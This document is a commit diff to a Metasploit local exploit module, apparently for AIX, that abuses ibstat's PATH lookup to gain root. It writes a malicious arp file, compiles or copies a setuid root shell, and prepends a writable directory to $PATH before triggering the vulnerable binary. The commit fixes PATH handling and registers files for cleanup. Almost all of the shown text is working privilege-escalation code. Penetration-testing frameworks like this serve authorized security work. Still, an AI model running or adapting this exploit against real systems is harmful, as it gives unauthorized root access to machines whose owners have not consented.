Fix $PATH issues. Add FileDropper functionality

modules/exploits/aix/local/ibstat_path.rb

@@ -7,6 +7,7 @@ class Metasploit4 < Msf::Exploit::Local
   Rank = ExcellentRanking
 
   include Msf::Post::File
+  include Msf::Exploit::FileDropper
 
   def initialize(info={})
     super( update_info( info,
@@ -90,23 +91,23 @@ chmod 4555 #{root_file}
       print_status("Compiling source...")
       cmd_exec "gcc -o #{root_file} #{root_file}.c"
       print_status("Compilation completed")
-      print_status("Deleting source...")
-      file_rm("#{root_file}.c")
+      register_file_for_cleanup("#{root_file}.c")
     else
       cmd_exec "cp /bin/sh #{root_file}"
     end
     print_status("Writing custom arp file...")
     write_file("#{arp_file}",arp)
+    register_file_for_cleanup("#{arp_file}")
     cmd_exec "chmod 0555 #{arp_file}"
     print_status("Custom arp file written")
     print_status("Updating $PATH environment variable...")
     path_env = cmd_exec 'echo $PATH'
-    cmd_exec 'PATH=.:$PATH'
+    cmd_exec "PATH=#{datastore["WritableDir"]}:$PATH"
     cmd_exec 'export PATH'
     print_status("Triggering vulnerablity...")
     cmd_exec '/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null'
-    print_status("Removing custom arp...")
-    file_rm("#{arp_file}")
+    # The $PATH variable must be restored before the payload is executed
+    # in cases where an euid root shell was gained
     print_status('Restoring $PATH environment variable...')
     cmd_exec "PATH=#{path_env}"
     cmd_exec 'export PATH'